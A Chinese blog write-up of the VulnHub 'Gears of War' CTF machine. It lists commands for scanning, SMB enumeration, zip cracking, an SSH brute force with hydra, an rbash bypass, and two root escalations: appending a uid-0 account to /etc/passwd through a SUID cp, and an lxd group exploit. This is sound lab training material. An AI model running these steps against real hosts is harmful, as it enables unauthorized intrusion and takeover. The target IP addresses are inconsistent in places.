vulnhub靶场Gears of War

0x000 靶场描述


它是一台处理战争机器历史的 CTF 机器,我们必须尝试越狱并获得root特权。它有一些兔子洞,所以你必须尝试连接轨道才能进入。flag在root/.flag.txt文件中。


0x001 靶场下载


https://www.vulnhub.com/entry/gears-of-war-ep1%2C382/


0x002 信息收集


探测存活主机

netdiscover -r 192.168.1.0/24

端口扫描

nmap -sS -sV -A -p 1-65535 192.168.1.101

靶机开放端口:22、80、139、445
访问80端口,发现是一个静态页面,查看源代码,没有发现可用的信息。


0x003 测试smbma安全


使用smbmap枚举用户信息

smbmap -H 192.168.1.107

发现LOCUS_LAN$允许读取

递归访问

smbmap -H 192.168.1.107 -R LOCUS_LAN$

发现存在msg_horda.zip和SOS.txt文件。

使用 smbclient 访问目录

smbclient //192.168.1.107/LOCUS_LAN$

访问可读目录,将目录下的msg_horda.zip和SOS.txt文件下载到本地,SOS.txt可以读取,msg_horda.zip解压需要密码。

获取系统用户

enum4linux 192.168.1.107 -R | grep Local

存在用户:nobody、root、marcus

crunch 生成密码字典

srunch参数:

-t:指定模式
@: 插入瞎写字母
,: 插入大写字母
%: 插入数字
^: 插入特殊符号

crunch 4 4 -t @%%, -o words 生成四位字典文件

fcrackzip 破解 zip

fcrackzip -D -v -p words -u msg_horda.zip

使用解压密码解压后,出现一个key.txt文件,查看文件内容;发现3_d4y,可能是密码。

hydra破解ssh

使用上面3个用户名和3_d4y尝试破解;破解出用户是marcus

hydra -L user.txt -p 3_d4y ssh://192.168.0.107

ssh远程登陆

登陆到目标机,但是发现不能使用基础命令,尝试绕过

使用如下命令重新连接ssh即可绕过rbash。

ssh marcus@192.168.1.107 -t "bash -noprofile"


0x004 提权


cp命令覆盖passwd文件提权

查找具有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

在/tmp目录下新建passwd文件,拷贝/etc/passwd文件内容并设置可写权限。

生成密文
perl -le 'print crypt("123456","addedsalt")'

添加至passwd文件
echo "hack:adrla7IBSfTZQ:0:0:hack:/root:/bin/bash" >> passwd

最后使用 cp passwd /etc/passwd 替换即可,成功获取到root权限。

lxd提权

前面查看id,发现当前用户隶属lxd组,因此可以使用lxd提权;使用wget命令将如下两个文件上传到目标机

exp:kali使用命令searchsploit lxd查找即可
镜像:https://github.com/saghul/lxd-alpine-builder/

使用命令:./46978.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz成功获取到root权限


0x005 查找flag


cat /root/.flag.txt

posted @ 2022-11-18 16:37  Cx330Lm  阅读(66)  评论(0编辑  收藏  举报